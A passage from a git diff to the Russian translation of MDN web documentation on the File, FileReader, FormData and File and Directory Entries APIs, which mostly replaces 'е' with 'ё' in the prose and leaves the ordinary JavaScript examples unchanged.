документации.</p> -<h2 id="Смотреть_еще">Смотреть еще</h2> +<h2 id="Смотреть_ещё">Смотреть ещё</h2> <ul> <li>{{domxref("File.name")}}</li> diff --git a/files/ru/web/api/file/using_files_from_web_applications/index.html b/files/ru/web/api/file/using_files_from_web_applications/index.html index 32ef60dbff..e8469671bd 100644 --- a/files/ru/web/api/file/using_files_from_web_applications/index.html +++ b/files/ru/web/api/file/using_files_from_web_applications/index.html @@ -151,7 +151,7 @@ fileSelect.addEventListener("click", function (e) { <p>Также вы можете предоставить пользователю возможность непосредственно перетаскивать файлы в ваше веб-приложение.</p> -<p>На первом шаге необходимо определить зону, в которую будут перетаскиваться файлы. В каждом конкретном случае часть содержимого вашей страницы, ответственная за приемку перетаскиваемых файлов, может варьироваться в зависимости от дизайна приложения, тем не менее, заставить элемент воспринимать события перетаскивания достаточно просто:</p> +<p>На первом шаге необходимо определить зону, в которую будут перетаскиваться файлы. В каждом конкретном случае часть содержимого вашей страницы, ответственная за приёмку перетаскиваемых файлов, может варьироваться в зависимости от дизайна приложения, тем не менее, заставить элемент воспринимать события перетаскивания достаточно просто:</p> <pre class="brush: js notranslate">var dropbox; @@ -189,7 +189,7 @@ function dragover(e) { } </pre> -<p>Здесь мы извлекаем из события поле <code>dataTransfer</code>, затем вытаскиваем из него список файлов и передаем этот список в <code>handleFiles()</code>. После этого процесс обработки файлов одинаков вне зависимости от того, использовал ли пользователь для их выбора элемент <code>input</code> или технологию drag and drop.</p> +<p>Здесь мы извлекаем из события поле <code>dataTransfer</code>, затем вытаскиваем из него список файлов и передаём этот список в <code>handleFiles()</code>. После этого процесс обработки файлов одинаков вне зависимости от того, использовал ли пользователь для их выбора элемент <code>input</code> или технологию drag and drop.</p> <h2 id="Пример_Отображение_эскизов_изображений_выбранных_пользователем">Пример: Отображение эскизов изображений, выбранных пользователем</h2> @@ -213,11 +213,11 @@ function dragover(e) { } </pre> -<p>Здесь наш цикл обрабатывает выбранные пользователем файлы, проверяя атрибут <code>type</code> у каждого файла, чтобы определить является ли файл изображением (выполняется регулярное выражение в строке "<code>image.*</code>"). Для каждого файла, который является изображением, мы создаем новый <code>img</code> элемент. Можно использовать CSS для установки красивых рамок, теней, и указания размеров изображения, но здесь нет нужды делать этого.</p> +<p>Здесь наш цикл обрабатывает выбранные пользователем файлы, проверяя атрибут <code>type</code> у каждого файла, чтобы определить является ли файл изображением (выполняется регулярное выражение в строке "<code>image.*</code>"). Для каждого файла, который является изображением, мы создаём новый <code>img</code> элемент. Можно использовать CSS для установки красивых рамок, теней, и указания размеров изображения, но здесь нет нужды делать этого.</p> <p>Каждое изображение имеет CSS класс <code>obj</code> добавленный к нему для упрощения его поиска в DOM дереве. Мы также добавили атрибут <code>file</code> к каждому изображению, указав {{ domxref("File") }} ; это позволит нам получить изображения для фактической загрузки позже. Наконец, мы используем {{ domxref("Node.appendChild()") }} для того, чтобы добавить новый эскиз в область предпросмотра нашего документа.</p> -<p>Затем мы устанавливаем {{ domxref("FileReader") }} для обработки асинхронной загрузки изображения и прикрепления его к <code>img</code> элементу. После создания нового объекта <code>FileReader</code>, мы настраиваем его функцию <code>onload</code>, затем вызываем <code>readAsDataURL()</code> для запуска операции чтения в фоновом режиме. Когда всё содержимое файла изображения загружено, они преобразуют его в <code>data:</code> URL, который передается в колбэк <code>onload</code> . Наша реализация этой процедуры просто устанавливает атрибут <code>src</code> у элемента <code>img</code> загруженного изображения, в результате чего миниатюра изображения появляется на экране пользователя.</p> +<p>Затем мы устанавливаем {{ domxref("FileReader") }} для обработки асинхронной загрузки изображения и прикрепления его к <code>img</code> элементу. После создания нового объекта <code>FileReader</code>, мы настраиваем его функцию <code>onload</code>, затем вызываем <code>readAsDataURL()</code> для запуска операции чтения в фоновом режиме. Когда всё содержимое файла изображения загружено, они преобразуют его в <code>data:</code> URL, который передаётся в колбэк <code>onload</code> . Наша реализация этой процедуры просто устанавливает атрибут <code>src</code> у элемента <code>img</code> загруженного изображения, в результате чего миниатюра изображения появляется на экране пользователя.</p> <h2 id="Использование_URLs_объектов">Использование URLs объектов</h2> @@ -227,7 +227,7 @@ function dragover(e) { <pre class="brush: js notranslate"><code>var objectURL = window.URL.createObjectURL(fileObj);</code></pre> -<p>URL объекта <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это строка, идентифицирующая объект файла {{ domxref("File") }}. Каждый раз при вызове {{ domxref("window.URL.createObjectURL()") }}, создается новый уникальный объект URL, даже если вы уже создали объект URL для этого файла. Каждый из них должен быть освобожден. В то время как они освобождаются автоматически когда документ выгружается, если ваша страница использует их динамически, вы должны освободить их явно вызовом {{ domxref("window.URL.revokeObjectURL()") }}:</p> +<p>URL объекта <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это строка, идентифицирующая объект файла {{ domxref("File") }}. Каждый раз при вызове {{ domxref("window.URL.createObjectURL()") }}, создаётся новый уникальный объект URL, даже если вы уже создали объект URL для этого файла. Каждый из них должен быть освобождён. В то время как они освобождаются автоматически когда документ выгружается, если ваша страница использует их динамически, вы должны освободить их явно вызовом {{ domxref("window.URL.revokeObjectURL()") }}:</p> <pre class="brush: js notranslate"><code>window.URL.revokeObjectURL(objectURL);</code></pre> @@ -290,12 +290,12 @@ function handleFiles(files) { <p>Если объект {{ domxref("FileList") }}, передаваемый в <code>handleFiles()</code> является <code>null</code>, то мы просто устанавливаем внутренний HTML блока в отображение текста "No files selected!". Иначе мы начинаем строить список файлов таким образом:</p> <ol> - <li>Создается новый элемент - неупорядоченный список ({{ HTMLElement("ul") }}).</li> + <li>Создаётся новый элемент - неупорядоченный список ({{ HTMLElement("ul") }}).</li> <li>Этот новый элемент вставляется в блок {{ HTMLElement("div") }} с помощью вызова его метода {{ domxref("element.appendChild()") }}.</li> <li>Для каждого {{ domxref("File") }} в {{ domxref("FileList") }}, представляемого <code>files</code>: <ol> - <li>Создаем новый элемент пункта списка ({{ HTMLElement("li") }}) и вставляем его в список.</li> - <li>Создаем новый элемент изображения ({{ HTMLElement("img") }}).</li> + <li>Создаём новый элемент пункта списка ({{ HTMLElement("li") }}) и вставляем его в список.</li> + <li>Создаём новый элемент изображения ({{ HTMLElement("img") }}).</li> <li>Устанавливаем источник изображения в новый URL объекта, представляющий файл, используя {{ domxref("window.URL.createObjectURL()") }} для создания URL на двоичный объект.</li> <li>Устанавливаем высоту изображения в 60 пикселей.</li> <li>Устанавливаем обработчик события загрузки изображения для освобождения URL объекта, т.к. после загрузки изображения он больше не нужен. Это делается вызовом метода {{ domxref("window.URL.revokeObjectURL()") }}, передавая в него строку URL объекта, которая указана в <code>img.src</code>.</li> @@ -306,11 +306,11 @@ function handleFiles(files) { <h2 id="Пример_Загрузка_файла_выбранного_пользователем">Пример: Загрузка файла, выбранного пользователем</h2> -<p>Еще одна вещь, которую вы можете захотеть сделать <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это позволить пользователю загрузить выбранный файл или файлы (такие, как изображения из предыдущего примера) на сервер. Это можно сделать асинхронно довольно просто.</p> +<p>Ещё одна вещь, которую вы можете захотеть сделать <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это позволить пользователю загрузить выбранный файл или файлы (такие, как изображения из предыдущего примера) на сервер. Это можно сделать асинхронно довольно просто.</p> <h3 id="Создание_заданий_на_загрузку">Создание заданий на загрузку</h3> -<p>Продолжая пример с кодом, который строил эскизы в предыдущем примере, напомним, что каждому изображению эскиза присвоен класс CSS class <code>obj</code>, с соответствующим {{ domxref("File") }}, прикрепленным в атрибут <code>file</code>. Это позволяет нам очень просто выбрать все изображения, которые пользователь выбрал для загрузки используя {{ domxref("Document.querySelectorAll()") }}, как показано здесь:</p> +<p>Продолжая пример с кодом, который строил эскизы в предыдущем примере, напомним, что каждому изображению эскиза присвоен класс CSS class <code>obj</code>, с соответствующим {{ domxref("File") }}, прикреплённым в атрибут <code>file</code>. Это позволяет нам очень просто выбрать все изображения, которые пользователь выбрал для загрузки используя {{ domxref("Document.querySelectorAll()") }}, как показано здесь:</p> <pre class="brush: js notranslate">function sendFiles() { var imgs = document.querySelectorAll(".obj"); @@ -354,7 +354,7 @@ function handleFiles(files) { reader.readAsBinaryString(file); }</pre> -<p>Функция <code>FileUpload()</code>, показанная выше, создает объект Throbber, который используется для отображения хода загрузки, а затем создает {{ domxref("XMLHttpRequest") }} для управления загрузкой данных.</p> +<p>Функция <code>FileUpload()</code>, показанная выше, создаёт объект Throbber, который используется для отображения хода загрузки, а затем создаёт {{ domxref("XMLHttpRequest") }} для управления загрузкой данных.</p> <p>Перед началом загрузки данных выполняются несколько шагов для подготовки:</p> @@ -427,7 +427,7 @@ if (isset($_FILES['myFile'])) { <h2 id="Пример_Использование_URL_объектов_для_отображения_PDF">Пример: Использование URL объектов для отображения PDF</h2> -<p>URL объектов могут быть использованы не только для изображений! Также этот прием можно использовать и для других ресурсов, которые могут отображаться браузером, например, файлы PDF.</p> +<p>URL объектов могут быть использованы не только для изображений! Также этот приём можно использовать и для других ресурсов, которые могут отображаться браузером, например, файлы PDF.</p> <p>В Firefox, для того чтобы файл PDF появился в iframe и не предлагался для загрузки, нужно установить <code>pdfjs.disabled</code> в значение <code>false</code> {{non-standard_inline()}}.</p> @@ -443,7 +443,7 @@ window.URL.revokeObjectURL(obj_url);</pre> <h2 id="Пример_Использование_URL_объектов_с_другими_типами_файлов">Пример: Использование URL объектов с другими типами файлов</h2> -<p>Вы можете таким же образом работать с файлами в других форматах. Ниже приведен пример как загружается видео:</p> +<p>Вы можете таким же образом работать с файлами в других форматах. Ниже приведён пример как загружается видео:</p> <pre class="brush: js notranslate">var video = document.getElementById('video'); var obj_url = window.URL.createObjectURL(blob); diff --git a/files/ru/web/api/file_and_directory_entries_api/index.html b/files/ru/web/api/file_and_directory_entries_api/index.html index 91bafe1bfb..76d7fe3a46 100644 --- a/files/ru/web/api/file_and_directory_entries_api/index.html +++ b/files/ru/web/api/file_and_directory_entries_api/index.html @@ -26,12 +26,12 @@ translation_of: Web/API/File_and_Directory_Entries_API <p>Существуют два очень похожих API в зависимости от того, хотите ли вы асинхронного или синхронного поведения. Синхронный API предназначен для использования внутри {{domxref("Worker")}} и будет возвращать желаемые значения. Асинхронный API не будет блокировать выполнение кода, а API не будет возвращать значения; вместо этого вам нужно будет предоставить колбэк-функцию для обработки одного или нескольких ответов.</p> <div class="warning"> -<p>Firefox реализация File System API очень ограничена: не поддерживается создание файлов. Доступ к файлам осуществляется только через {{HTMLElement("input")}} элемент (см. так же {{domxref("HTMLInputElement")}}) или путем перетаскивания файла/папки (<a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>). Firefox также не реализует синхронный API. Внимательно проверьте совместимость браузера для любой части API, которую вы используете. ( см. <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">Поддержка File System API в Firefox</a>)</p> +<p>Firefox реализация File System API очень ограничена: не поддерживается создание файлов. Доступ к файлам осуществляется только через {{HTMLElement("input")}} элемент (см. так же {{domxref("HTMLInputElement")}}) или путём перетаскивания файла/папки (<a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>). Firefox также не реализует синхронный API. Внимательно проверьте совместимость браузера для любой части API, которую вы используете. ( см. <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">Поддержка File System API в Firefox</a>)</p> </div> <h2 id="Получение_доступа_к_файловой_системе">Получение доступа к файловой системе</h2> -<p>Есть два способа получить доступ к файловой системе, определенным в текущем проекте спецификации:</p> +<p>Есть два способа получить доступ к файловой системе, определённым в текущем проекте спецификации:</p> <ul> <li>При обработке события {{event("drop")}} вы можете вызвать {{domxref("DataTransferItem.webkitGetAsEntry()")}} что бы получить {{domxref("FileSystemEntry")}} для "брошенного" элемента. Если результат не <code>null</code>, то это брошенный файл или каталог, и вы можете использовать вызовы файловой системы для работы с ним.</li> @@ -52,9 +52,9 @@ translation_of: Web/API/File_and_Directory_Entries_API <dt>{{domxref("FileSystemDirectoryEntry")}}</dt> <dd>Представляет отдельный каталог в файловой системе.</dd> <dt>{{domxref("FileSystemDirectoryReader")}}</dt> - <dd>Созданный путем вызова {{domxref("FileSystemDirectoryEntry.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd> + <dd>Созданный путём вызова {{domxref("FileSystemDirectoryEntry.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd> <dt>{{domxref("FileSystemFlags")}}</dt> - <dd>Определяет набор значений, которые используются при указании флагов опций при вызове определенных методов в <a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File System API</a>.</dd> + <dd>Определяет набор значений, которые используются при указании флагов опций при вызове определённых методов в <a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File System API</a>.</dd> <dt>{{domxref("FileError")}}</dt> <dd>Представляет ошибку, которая возникает при вызовах асинхронной файловой системы.</dd> </dl> @@ -63,7 +63,7 @@ translation_of: Web/API/File_and_Directory_Entries_API <h2 id="Синхронный_API">Синхронный API</h2> -<p>Синхронный API следует использовать только в {{domxref("Worker")}}-ах; эти вызовы блокируются до тех пор, пока не закончат свое выполнение, и просто возвращают результаты вместо использования колбэков. Использование их в основном потоке заблокирует браузер, что непослушно. В противном случае интерфейсы ниже отражают интерфейсы асинхронного API.</p> +<p>Синхронный API следует использовать только в {{domxref("Worker")}}-ах; эти вызовы блокируются до тех пор, пока не закончат своё выполнение, и просто возвращают результаты вместо использования колбэков. Использование их в основном потоке заблокирует браузер, что непослушно. В противном случае интерфейсы ниже отражают интерфейсы асинхронного API.</p> <dl> <dt>{{domxref("FileSystemSync")}}</dt> @@ -75,7 +75,7 @@ translation_of: Web/API/File_and_Directory_Entries_API <dt>{{domxref("FileSystemDirectoryEntrySync")}}</dt> <dd>Представляет отдельный каталог в файловой системе.</dd> <dt>{{domxref("FileSystemDirectoryReaderSync")}}</dt> - <dd>Созданный путем вызова {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd> + <dd>Созданный путём вызова {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd> <dt>{{domxref("FileException")}}</dt> <dd>Представляет ошибку, которая возникает при вызовах синхронной файловой системы.</dd> </dl> diff --git a/files/ru/web/api/file_and_directory_entries_api/introduction/index.html b/files/ru/web/api/file_and_directory_entries_api/introduction/index.html index fba2cad5c7..bd5a67aa08 100644 --- a/files/ru/web/api/file_and_directory_entries_api/introduction/index.html +++ b/files/ru/web/api/file_and_directory_entries_api/introduction/index.html @@ -8,7 +8,7 @@ original_slug: Web/API/File_and_Directory_Entries_API/Введение <p><span class="seoSummary">API файлов и каталогов эмулирует для веб-приложений локальную файловую систему. У вас есть возможность создания приложений, которые могут читать, записывать и создавать файлы и директории в изолированной виртуальной файловой системе.</span></p> -<p>API файлов и каталогов взаимодействует с другими API. Оно было создано на основе File Writer API, который в свою очередь использует File API. Каждое API реализует разную функциональность. Данные программные интерфейсы являются огромным эволюционным скачком для веб-приложений, которые теперь могут кешировать и обрабатывать большие объемы данных. </p> +<p>API файлов и каталогов взаимодействует с другими API. Оно было создано на основе File Writer API, который в свою очередь использует File API. Каждое API реализует разную функциональность. Данные программные интерфейсы являются огромным эволюционным скачком для веб-приложений, которые теперь могут кешировать и обрабатывать большие объёмы данных. </p> <h2 id="Об_этом_документе">Об этом документе</h2> @@ -37,7 +37,7 @@ original_slug: Web/API/File_and_Directory_Entries_API/Введение <h3 id="API_файлов_и_каталогов_и_другие_программные_интерфейсы_хранения_данных">API файлов и каталогов и другие программные интерфейсы хранения данных</h3> -<p>API файлов и каталогов является альтернативой для других интерфейсов хранения данных, таких как <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB">IndexedDB</a>, WebSQL (признано устаревшим с 18 ноября 2010 г.) и AppCache. Тем не менее данное API является более хорошим выбором для приложений, обрабатывающим большие объемы данных, по следующим причинам:</p> +<p>API файлов и каталогов является альтернативой для других интерфейсов хранения данных, таких как <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB">IndexedDB</a>, WebSQL (признано устаревшим с 18 ноября 2010 г.) и AppCache. Тем не менее данное API является более хорошим выбором для приложений, обрабатывающим большие объёмы данных, по следующим причинам:</p> <ul> <li>Данное API предлагает возможность хранения данных на стороне клиента в вариантах использования, которые не могут быть решены с помощью баз данных. Например, данное API является намного более производительным в случае хранения и обработки больших файлов.</li> @@ -52,7 +52,7 @@ original_slug: Web/API/File_and_Directory_Entries_API/Введение <ul> <li>Приложения с постоянной загрузкой. <ul> - <li>Когда файл или каталог выбран для загрузки на сервер, есть возможность скопировать файлы в локальную песочницу и начать их поочередную загрузку. </li> + <li>Когда файл или каталог выбран для загрузки на сервер, есть возможность скопировать файлы в локальную песочницу и начать их поочерёдную загрузку. </li> <li>Приложение может продолжить загрузку после закрытия или аварийного сбоя браузера, прерывание связи или завершения работы компьютера.</li> </ul> </li> diff --git a/files/ru/web/api/filereader/index.html b/files/ru/web/api/filereader/index.html index a65044776d..42cf4ee917 100644 --- a/files/ru/web/api/filereader/index.html +++ b/files/ru/web/api/filereader/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/FileReader <h2 id="Общая_информация">Общая информация</h2> -<p>Объект <code>FileReader</code> позволяет веб-приложениям асинхронно читать содержимое файлов (или буферы данных), хранящиеся на компьютере пользователя, используя объекты {{domxref("File")}} или {{domxref("Blob")}}, с помощью которых задается файл или данные для чтения.</p> +<p>Объект <code>FileReader</code> позволяет веб-приложениям асинхронно читать содержимое файлов (или буферы данных), хранящиеся на компьютере пользователя, используя объекты {{domxref("File")}} или {{domxref("Blob")}}, с помощью которых задаётся файл или данные для чтения.</p> <p>Объекты <code>File</code> можно получить через объект {{domxref("FileList")}}, который возвращается как результат при выборе файлов пользователем с помощью элемента {{HTMLElement("input")}}, через drag and drop из объекта {{domxref("DataTransfer")}}, или с помощью <code>mozGetAsFile()</code>, метода доступного в API элемента {{domxref("HTMLCanvasElement")}}.</p> @@ -37,7 +37,7 @@ translation_of: Web/API/FileReader <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt> <dd>Число обозначающее состояние объекта <code>FileReader</code>. Принимает одно из значений {{ anch("State constants") }}.</dd> <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt> - <dd>Данные из файла. Значение свойства действительно только когда завершится операция чтения, причем формат данных зависит от способа, с помощью которого процесс был вызван.</dd> + <dd>Данные из файла. Значение свойства действительно только когда завершится операция чтения, причём формат данных зависит от способа, с помощью которого процесс был вызван.</dd> </dl> <h3 id="Обработка_событий">Обработка событий</h3> @@ -64,7 +64,7 @@ translation_of: Web/API/FileReader <h3 id="State_constants" name="State_constants">Константы состояния</h3> <ul> - <li><code>EMPTY </code> : <code>0</code> : Данные еще не были загружены.</li> + <li><code>EMPTY </code> : <code>0</code> : Данные ещё не были загружены.</li> <li><code>LOADING</code> : <code>1</code> : Данные в данный момент загружаются.</li> <li><code>DONE </code> : <code>2</code> : Операция чтения была завершена.</li> </ul> @@ -118,7 +118,7 @@ translation_of: Web/API/FileReader <ul> <li>В версиях Gecko ниже 2.0 beta 7 (Firefox 4.0 beta 7), все параметры {{ domxref("Blob") }} были параметрами {{ domxref("File") }}; в последствии это было изменено, для соответствия спецификации.</li> - <li>В версиях Gecko ниже 13.0 {{ geckoRelease("13.0") }} свойство <code>FileReader.error</code> возвращало объект {{ domxref("FileError") }}. Этот интерфейс был упразднен и теперь свойство <code>FileReader.error</code> возвращает объект {{ domxref("DOMError") }}, что соответствует определению FileAPI последней спецификации.</li> + <li>В версиях Gecko ниже 13.0 {{ geckoRelease("13.0") }} свойство <code>FileReader.error</code> возвращало объект {{ domxref("FileError") }}. Этот интерфейс был упразднён и теперь свойство <code>FileReader.error</code> возвращает объект {{ domxref("DOMError") }}, что соответствует определению FileAPI последней спецификации.</li> </ul> <h2 id="See_also" name="See_also">См. также</h2> diff --git a/files/ru/web/api/filereader/readasarraybuffer/index.html b/files/ru/web/api/filereader/readasarraybuffer/index.html index da7fd56e8c..29fb2d3cb5 100644 --- a/files/ru/web/api/filereader/readasarraybuffer/index.html +++ b/files/ru/web/api/filereader/readasarraybuffer/index.html @@ -97,7 +97,7 @@ translation_of: Web/API/FileReader/readAsArrayBuffer </table> </div> -<p>[1] До Gecko 2.0 beta 7 (Firefox 4.0 beta 7), все {{domxref("Blob")}} параметры были {{domxref("File")}} параметрами; были произведены изменения<span id="result_box" lang="ru"><span class="alt-edited"> для</span> <span class="alt-edited">удовлетворения условий</span> <span class="alt-edited">спецификации</span></span>. До Gecko 13.0 {{geckoRelease("13.0")}}<code> свойство FileReader.error</code> возвращало объект {{domxref("FileError")}}. Этот интерфейс был удален и теперь <code>FileReader.error</code> возвращает объект {{domxref("DOMError")}} как это определено в последнем черновике FileAPI.</p> +<p>[1] До Gecko 2.0 beta 7 (Firefox 4.0 beta 7), все {{domxref("Blob")}} параметры были {{domxref("File")}} параметрами; были произведены изменения<span id="result_box" lang="ru"><span class="alt-edited"> для</span> <span class="alt-edited">удовлетворения условий</span> <span class="alt-edited">спецификации</span></span>. До Gecko 13.0 {{geckoRelease("13.0")}}<code> свойство FileReader.error</code> возвращало объект {{domxref("FileError")}}. Этот интерфейс был удалён и теперь <code>FileReader.error</code> возвращает объект {{domxref("DOMError")}} как это определено в последнем черновике FileAPI.</p> <p>[2] IE9 имеет <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p> diff --git a/files/ru/web/api/filereader/readasbinarystring/index.html b/files/ru/web/api/filereader/readasbinarystring/index.html index 4f4f5cb6a2..30bd9dfb31 100644 --- a/files/ru/web/api/filereader/readasbinarystring/index.html +++ b/files/ru/web/api/filereader/readasbinarystring/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/FileReader/readAsBinaryString --- <div>{{APIRef("File API")}} {{non-standard_header}}</div> -<p>Метод <code>readAsBinaryString</code> используется для начала считывания содержимого определенного как {{domxref("Blob")}} или {{domxref("File")}}. Когда операция чтения завершится {{domxref("FileReader.readyState","readyState")}} становится <code>DONE</code>, и срабатывает {{event("loadend")}} . В это время атрибут {{domxref("FileReader.result","result")}} содержит сырые бинарные данные из файла.</p> +<p>Метод <code>readAsBinaryString</code> используется для начала считывания содержимого определённого как {{domxref("Blob")}} или {{domxref("File")}}. Когда операция чтения завершится {{domxref("FileReader.readyState","readyState")}} становится <code>DONE</code>, и срабатывает {{event("loadend")}} . В это время атрибут {{domxref("FileReader.result","result")}} содержит сырые бинарные данные из файла.</p> <p>Заметьте, что этот метод устарел (12 July 2012 Working Draft from the W3C.)</p> @@ -48,7 +48,7 @@ canvas.toBlob(function (blob) { <h2 id="Спецификации">Спецификации</h2> -<p>Этот метод был удален из стандарта FileAPI. Вместо него следует использовать {{domxref("FileReader.readAsArrayBuffer()")}}.</p> +<p>Этот метод был удалён из стандарта FileAPI. Вместо него следует использовать {{domxref("FileReader.readAsArrayBuffer()")}}.</p> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> diff --git a/files/ru/web/api/fontface/index.html b/files/ru/web/api/fontface/index.html index 7769abe93e..2b7a991c7e 100644 --- a/files/ru/web/api/fontface/index.html +++ b/files/ru/web/api/fontface/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/FontFace <dl> <dt>{{domxref("FontFace.FontFace", "FontFace()")}}</dt> - <dd>Создает и возвращает новый объект <code>FontFace</code>, созданный из внешнего ресурса, описанного URL-адресом или из {{domxref("ArrayBuffer")}}.</dd> + <dd>Создаёт и возвращает новый объект <code>FontFace</code>, созданный из внешнего ресурса, описанного URL-адресом или из {{domxref("ArrayBuffer")}}.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/formdata/append/index.html b/files/ru/web/api/formdata/append/index.html index 6e3b43a2b1..dcaf2440f4 100644 --- a/files/ru/web/api/formdata/append/index.html +++ b/files/ru/web/api/formdata/append/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/FormData/append --- <p>{{APIRef("XMLHttpRequest")}}</p> -<p>Метод <code><strong>append()</strong></code> из интерфейса {{domxref("FormData")}} добавляет новое значение в существующий ключ внутри объекта <code>FormData</code>, или создает ключ, в случае если он отсутствует.</p> +<p>Метод <code><strong>append()</strong></code> из интерфейса {{domxref("FormData")}} добавляет новое значение в существующий ключ внутри объекта <code>FormData</code>, или создаёт ключ, в случае если он отсутствует.</p> <p>Разница между {{domxref("FormData.set")}} и <code>append()</code> в том, что если заданный ключ уже существует, {{domxref("FormData.set")}} заменит данные в нем на новые, а <code>append()</code> добавит новое значение к остальным в конец.</p> @@ -26,9 +26,9 @@ formData.append(name, value, filename);</pre> <dt><code>name</code></dt> <dd>Имя поля, которое будет содержать данные из <code>value</code>.</dd> <dt><code>value</code></dt> - <dd>Значение поля. В варианте с двумя параметрами, это является {{domxref("USVString")}}, если значение не является строкой, то оно будет в нее конвертировано. В варианте с тремя параметрами это может быть {{domxref("Blob")}}, {{domxref("File")}}, или {{domxref("USVString")}}, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.</dd> + <dd>Значение поля. В варианте с двумя параметрами, это является {{domxref("USVString")}}, если значение не является строкой, то оно будет в неё конвертировано. В варианте с тремя параметрами это может быть {{domxref("Blob")}}, {{domxref("File")}}, или {{domxref("USVString")}}, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.</dd> <dt><code>filename </code>{{optional_inline}}</dt> - <dd>Имя файла которое будет отправлено серверу ({{domxref("USVString")}}), когда {{domxref("Blob")}} или {{domxref("File")}} прошел проверку как второй параметр. Стандартное имя файла для {{domxref("Blob")}} объектов это "blob".</dd> + <dd>Имя файла которое будет отправлено серверу ({{domxref("USVString")}}), когда {{domxref("Blob")}} или {{domxref("File")}} прошёл проверку как второй параметр. Стандартное имя файла для {{domxref("Blob")}} объектов это "blob".</dd> </dl> <div class="note"> @@ -41,7 +41,7 @@ formData.append(name, value, filename);</pre> <h2 id="Пример">Пример</h2> -<p>Данная строка кода создает пустой <code>FormData</code> объект:</p> +<p>Данная строка кода создаёт пустой <code>FormData</code> объект:</p> <pre class="brush: js">var formData = new FormData(); // Currently empty</pre> diff --git a/files/ru/web/api/formdata/delete/index.html b/files/ru/web/api/formdata/delete/index.html index f4c6db339c..51ed9731aa 100644 --- a/files/ru/web/api/formdata/delete/index.html +++ b/files/ru/web/api/formdata/delete/index.html @@ -28,7 +28,7 @@ translation_of: Web/API/FormData/delete <h2 id="Пример">Пример</h2> -<p>Следующий код создает объект <code>FormData</code> и заполняет его парами "ключ"/"значение" из формы:</p> +<p>Следующий код создаёт объект <code>FormData</code> и заполняет его парами "ключ"/"значение" из формы:</p> <pre class="brush: js">var formData = new FormData(myForm);</pre> diff --git a/files/ru/web/api/formdata/formdata/index.html b/files/ru/web/api/formdata/formdata/index.html index 260388230f..fde13d802a 100644 --- a/files/ru/web/api/formdata/formdata/index.html +++ b/files/ru/web/api/formdata/formdata/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/FormData/FormData --- <p>{{APIRef("XMLHttpRequest")}}</p> -<p>Конструктор <code><strong>FormData()</strong></code> создает новые объект {{domxref("FormData")}}, если проще - HTML-форму<strong>.</strong></p> +<p>Конструктор <code><strong>FormData()</strong></code> создаёт новые объект {{domxref("FormData")}}, если проще - HTML-форму<strong>.</strong></p> <h2 id="Синтаксис">Синтаксис</h2> @@ -59,7 +59,7 @@ console.log( <pre class="brush: js">formData.get(name); </pre> -<p>Проверка на наличие определенного элемента формы:</p> +<p>Проверка на наличие определённого элемента формы:</p> <pre class="brush: js">formData.has(name);</pre> diff --git a/files/ru/web/api/formdata/get/index.html b/files/ru/web/api/formdata/get/index.html index df52182d7b..d5f2d497df 100644 --- a/files/ru/web/api/formdata/get/index.html +++ b/files/ru/web/api/formdata/get/index.html @@ -28,7 +28,7 @@ translation_of: Web/API/FormData/get <h2 id="Пример">Пример</h2> -<p>Следующий код создает пустой объект <code>FormData</code>:</p> +<p>Следующий код создаёт пустой объект <code>FormData</code>:</p> <pre class="brush: js">var formData = new FormData();</pre> @@ -60,7 +60,7 @@ formData.append('username', 'Кирилл');</pre> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести исправления, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести исправления, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("api.FormData.get")}}</p> diff --git a/files/ru/web/api/formdata/getall/index.html b/files/ru/web/api/formdata/getall/index.html index 24e12c408b..e2294811bf 100644 --- a/files/ru/web/api/formdata/getall/index.html +++ b/files/ru/web/api/formdata/getall/index.html @@ -39,7 +39,7 @@ formData.append('username', 'Кирилл');</pre> <p>Тогда метод <code>getAll()</code> вернёт оба значения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">username</span></font> в виде массива:</p> -<pre class="brush: js notranslate">formData.getAll('username'); // Вернет ["Борис", "Кирилл"]</pre> +<pre class="brush: js notranslate">formData.getAll('username'); // Вернёт ["Борис", 